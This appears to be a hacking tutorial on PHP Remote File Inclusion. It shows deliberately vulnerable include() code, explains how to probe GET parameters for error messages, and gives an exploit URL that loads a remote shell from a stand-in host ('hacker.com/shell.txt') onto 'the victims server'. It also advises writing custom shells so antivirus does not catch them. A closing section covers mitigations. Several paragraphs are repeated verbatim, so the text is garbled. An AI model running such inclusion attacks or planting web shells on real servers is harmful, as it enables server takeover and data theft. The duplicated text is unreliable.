Intro: What is RFI??
RFI means Remote file inclusion.
RFI is a type of web application security hole.
On the net, there are so many sites which are vulnerable to RFI.
In this tutorial, I am going to show you RFI with PHP.
PHP is a web script engine. Its the most widely used one so that's why I am using it in this tutorial.
Learn more about PHP: http://php.net
http://en.wikipedia.org/wiki/PHP
To understand what file inclusion is I am going to show a little example.
This is an example site in PHP:
PHP Code:<?php $content = “Hello and welcome to the site”;?><html><head><title>Hello world</title></head><body>
<?php echo($content); ?>
</body></html>
This is a very basic page. But as your page expands you might
want to put the individual pages in their own files and include them in
the main file depending on user input.
This way, when you got pages with perhaps 10k lines of PHP code you don't have to use hours looking
for the bit of code you want to edit/view.
By user input I mean things like a URL GET argument. A GET argument could look like this:
HTML
www.site.com/index.php?page=index
In
the above example the PHP script would see the “page=index” and then
show the content of “index”. The “index” can be anything, can be a file,
SQL value, hard-coded variable. If it is a file, then the PHP script is
most likely using the include() function and that is file inclusion.
1.Understanding RFI
So, in the above text I said that file inclusion is including files in another file. Well, that is all right but what does that actually mean?
Well, lets say we got 2 files.
index.php
content.php
The index.php is the file people is going to view when they visit my page. www.site.com as usual. But we want index.php to display the contents of content.php without the user actually visiting content.php.
All you would need to do is put this PHP script in the index.php:
So, in the above text I said that file inclusion is including files in another file. Well, that is all right but what does that actually mean?
Well, lets say we got 2 files.
index.php
content.php
The index.php is the file people is going to view when they visit my page. www.site.com as usual. But we want index.php to display the contents of content.php without the user actually visiting content.php.
All you would need to do is put this PHP script in the index.php:
(php)
PHP Code: <?php include(“content.php”); ?>
Now we are showing the contents of content.php when the user visits index.php. If content.php was to include more PHP code it would also get executed.
That is it. We just did file inclusion! However, this example is just a dummy page and would most likely not be found in real life.
Lets create a new scenario. A more realistic scenario. We got the following files/pages:
index.php
1.php
2.php
3.php
Now, index.php is again the file the users are going to visit. On the default index we are going to display 3 links.
www.site.com/index.php?page=1
www.site.com/index.php?page=2
www.site.com/index.php?page=3
When the user clicks the first link its going to show the content of 1.php, when the user clicks the second link its going to show the contents of 2.php and when the user clicks the last link its going to show the contents of 3.php.
The index.php script site would in this case look something like this(note that I am now coding like an idiot to create security holes):
Code: (php)
PHP Code: if (isset($_GET['page'])) {
include($_GET['page'] . “.php”); } else {
echo('<p><a href="index.php?page=1">page1</a></p>');
echo('<p><a href="index.php?page=2">page2</a></p>');
echo('<p><a href="index.php?page=3">page3</a></p>'); }
The content of 1,2 and 3 is not important in this example so I wont say anything about that.
Now, when a user clicks the page1 link he or she is taken to www.site.com/index.php?page=1
The PHP script in index.php will now see that the user is requesting the page called 1 and it will include the number in the URL + “.php” the same goes for 2 and 3.
Now, what is this “Remote” part in RFI all about? Well, this belongs more in the “exploting RFI vulnerabilities” part of this tutorial but I have to say something short about it now.
The above code is vulnerable to RFI. You can test this by visiting:
www.site.com/index.php?page=4
That would give us an error(assuming the server administrator have not turned off “show errors” in the PHP configuration). The error would look something like this:
Now, when a user clicks the page1 link he or she is taken to www.site.com/index.php?page=1
The PHP script in index.php will now see that the user is requesting the page called 1 and it will include the number in the URL + “.php” the same goes for 2 and 3.
Now, what is this “Remote” part in RFI all about? Well, this belongs more in the “exploting RFI vulnerabilities” part of this tutorial but I have to say something short about it now.
The above code is vulnerable to RFI. You can test this by visiting:
www.site.com/index.php?page=4
That would give us an error(assuming the server administrator have not turned off “show errors” in the PHP configuration). The error would look something like this:
Warning: include(page4.php) [function.include]: failed to open stream: No such file or directory in PATH on line 3
Warning: include() [function.include]: Failed opening 'page4.php' for inclusion (include_path='.;PATH') in PATH\index.php on line 3
This would tell us that the include() function used in this script is not secured and can be exploited. The way you exploit it is by getting it to include your code so that you can control the server. This is where the “remote” part of RFI comes in. You can create a PHP script and save it as .txt, upload it to a server and then visit something like this:
http://www.site.com/index.php?page=http://hacker.com/shell.txt?
Note that the ? is to get rid of the “.php” at the end as we did not name the file .txt.php and also if you where to try to include a .php file from a remote server it will only give the executed output of the PHP file.
Now we have successfully put out code in the PHP engine of the victim server and we are free to do whatever you can do with PHP. Which is mostly anything.
2.Finding RFI vulnerabilities
Like said above. To check for the most basic vulnerabilities all you need to do is manipulate the GET arguments and look for error messages looking like the one above. For more advance ones you might need to try things out, this is called blind RFI. As you gain more knowledge about PHP and RFI you will understand how to perform blind RFI's.
Here is a few examples of GET arguments manipulating:
www.site.com/index.php?id=1→
www.site.com/index.php?id=1asdfsaf
www.site.com/index.php?id=index→
www.site.com/index.php?id=fuckkkk
www.site.com/index.php?id=lolzzzz
Use your imagination... And for those who did not understand. The arguments does not need to be “id” or “page” or “site”. It can be anything.
There are more advance versions of RFI like POST argument RFI and even cookie RFI and HTTP header RFI and so on. But these should be easy to understand once you gain more knowledge about the HTTP protocol and TCP/IP with HTTP servers and PHP etc.
Like said above. To check for the most basic vulnerabilities all you need to do is manipulate the GET arguments and look for error messages looking like the one above. For more advance ones you might need to try things out, this is called blind RFI. As you gain more knowledge about PHP and RFI you will understand how to perform blind RFI's.
Here is a few examples of GET arguments manipulating:
www.site.com/index.php?id=1→
www.site.com/index.php?id=1asdfsaf
www.site.com/index.php?id=index→
www.site.com/index.php?id=fuckkkk
www.site.com/index.php?id=lolzzzz
Use your imagination... And for those who did not understand. The arguments does not need to be “id” or “page” or “site”. It can be anything.
There are more advance versions of RFI like POST argument RFI and even cookie RFI and HTTP header RFI and so on. But these should be easy to understand once you gain more knowledge about the HTTP protocol and TCP/IP with HTTP servers and PHP etc.
3.Exploiting RFI vulnerabilities
Lets say that you have successfully found a vulnerable page.
The URL is www.site.com/index.php?page=index
The PHP script is made in such a way that we only need to edit page=index to page=http://hacker.com/shell.txt and we now got our PHP code over to the victims server and it executes.
What you should do now is try to make something called a shell. A shell is essentially just a PHP script that can perform Explorer like actions. Like read/write/edit/create files and navigate in folders etc etc. Some shells even got inbuilt exploits to gain root access on the server, but that's another story.
Now, there is a truckload of premade shells out there but I really recommend you creating your own as it is good learning and most shells is actually detected by antiviruses believe it or not. So if the server you are trying to access got a antivirus it will now work and it might perhaps spoil your attack.
Lets say that you have successfully found a vulnerable page.
The URL is www.site.com/index.php?page=index
The PHP script is made in such a way that we only need to edit page=index to page=http://hacker.com/shell.txt and we now got our PHP code over to the victims server and it executes.
What you should do now is try to make something called a shell. A shell is essentially just a PHP script that can perform Explorer like actions. Like read/write/edit/create files and navigate in folders etc etc. Some shells even got inbuilt exploits to gain root access on the server, but that's another story.
Now, there is a truckload of premade shells out there but I really recommend you creating your own as it is good learning and most shells is actually detected by antiviruses believe it or not. So if the server you are trying to access got a antivirus it will now work and it might perhaps spoil your attack.
4.Securing RFI vulnerabilities
Secure user inputs!!!! And not just those you THINK is used in SQL queries or include functions or etc. ALL user inputs should be secured. You do this by strip/disallow words or phrases or symbols in the user inputs. And the most common solution when it comes to RFI is just to make the page less dynamic and hardcode the pages. If you still want to have a dynamical editable page you MUST make sure you secure the user inputs. Check it for the word “http”, check it for the word “www.”, check it for “../”, check it for “?” etc etc. Disable “show PHP errors” in the PHP configuration. Do a file_exists() check. These are all easy things you can do to prevent RFI(and LFI, but that is again another story).
Here is a example on a dynamic page and a hardcoded page. The dynamic one is not secure, the hardcoded one is.
Dynamic:
Secure user inputs!!!! And not just those you THINK is used in SQL queries or include functions or etc. ALL user inputs should be secured. You do this by strip/disallow words or phrases or symbols in the user inputs. And the most common solution when it comes to RFI is just to make the page less dynamic and hardcode the pages. If you still want to have a dynamical editable page you MUST make sure you secure the user inputs. Check it for the word “http”, check it for the word “www.”, check it for “../”, check it for “?” etc etc. Disable “show PHP errors” in the PHP configuration. Do a file_exists() check. These are all easy things you can do to prevent RFI(and LFI, but that is again another story).
Here is a example on a dynamic page and a hardcoded page. The dynamic one is not secure, the hardcoded one is.
Dynamic:
PHP Code: if (isset($_GET['page'])) {
include($_GET['page'] . “.php”); } else {
echo('<p><a href="index.php?page=1">page1</a></p>');
echo('<p><a href="index.php?page=2">page2</a></p>');
echo('<p><a href="index.php?page=3">page3</a></p>'); }
Hardcoded:
if (isset($_GET['page']))
{
if ($_GET['page'] == “page1”)
include(“1.php”);
if ($_GET['page'] == “page2”)
include(“2.php”);
if ($_GET['page'] == “page3”)
include(“3.php”);
}
else
{
echo('<p><a href="index.php?page=1">page1</a></p>');
echo('<p><a href="index.php?page=2">page2</a></p>');
echo('<p><a href="index.php?page=3">page3</a></p>');
}
